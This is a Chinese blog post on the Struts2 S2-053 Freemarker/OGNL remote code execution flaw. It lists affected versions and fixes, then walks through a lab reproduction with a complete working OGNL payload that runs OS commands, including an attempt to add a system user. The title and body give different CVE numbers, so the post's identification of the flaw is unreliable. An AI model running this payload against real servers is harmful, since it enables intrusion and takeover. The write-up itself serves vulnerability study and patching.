【S2-053】Struts2远程命令执行漏洞(CVE-2017-12611)


继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。

当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞。

影响范围

Struts 2.0.1 - Struts 2.3.33、Struts 2.5 - Struts 2.5.10

不受影响的版本

Struts 2.5.12、Struts 2.3.34

漏洞分析

当在Freemarker标签中使用表达式文本或强制表达式时,使用以下请求值可能会导致远程代码执行

<@s.hidden name=&quot;redirectUri&quot; value=redirectUri />

<@s.hidden name=&quot;redirectUri&quot; value=&quot;${redirectUri}&quot; />

这两种情况下,值属性都使用可写属性,都会受到Freemarker表达式影响。

修复方案

1、升级到Apache Struts版本2.5.12或2.3.34

2、使用只读属性来初始化value属性(仅限getter属性)

3、Freemarker标签内容不要通过Request方式获取

复现

开启tomcat

1583155948315

打开测试网站

1583156233410

输入检测代码

%{1+1}

1583157580630

说明漏洞存在

输入payload

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?

(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=

(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?

{'cmd.exe','/c',#cmd='ipconfig'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).

(#p.redirectErrorStream(true)).(#process=#p.start()).

(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

1583156498685

1583156530692

更改一下payload中的两个ipconfig参数

换成 net user

1583156908090

添加用户 net user test test /add

1583157181243

看来运行apache的用户权限不够

换成calc调用计算器

1583157826272

总结

struts2的invocation会在跑遍一圈interceptor之后,进行execute result ,而项目中配置的result的type是freemarker,因此会这个流程会交到freemarkerresult手里,它会把对应的ftl模板拿出来处理 这里会进行第一次解析。

标签value属性的值将会变成我们传入的%{100-3},当然其中还有ognl进行get value的过程,之后标签处理结束前会回调给uibean,它end的时候肯定需要计算一下参数值,才能得到真正输出到浏览器上的值,这就会产生第二次解析 。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM